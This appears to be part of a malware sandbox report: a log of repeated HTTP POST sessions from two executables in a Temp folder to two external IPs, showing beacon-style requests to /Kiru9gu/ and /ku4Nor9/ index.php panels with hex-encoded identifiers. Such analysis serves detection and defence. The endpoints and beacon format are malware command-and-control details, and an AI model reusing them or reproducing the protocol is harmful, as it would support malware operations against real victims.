Jun 20, 2024 15:39:03.018002987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49859	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:02.318911076 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:03.014280081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:03.016916037 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:03.236013889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49860	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:03.133366108 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:03.823194027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49861	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:03.349575043 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:04.106405020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:04.108278990 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:04.330390930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49863	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:03.833731890 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:04.559920073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49864	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:04.444029093 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:05.156439066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:05.158422947 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:05.378186941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49865	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:04.680502892 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:05.367934942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49866	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:05.377542973 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:06.069200993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49868	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:05.490902901 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:06.209057093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:06.209762096 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:06.424680948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49870	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:06.180727959 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:06.860726118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49871	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:06.538822889 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:07.249572039 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:07.252121925 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:07.480441093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49872	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:06.869146109 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:07.560287952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49873	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:07.598969936 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:08.314409971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:08.315260887 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:08.538907051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49874	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:07.678133965 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:08.380990982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49875	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:08.389719009 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49876	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:08.508552074 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:09.176094055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49877	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:08.648047924 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:09.326054096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:09.327020884 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:09.540177107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49878	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:09.185261965 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:09.888674974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49879	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:09.664558887 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
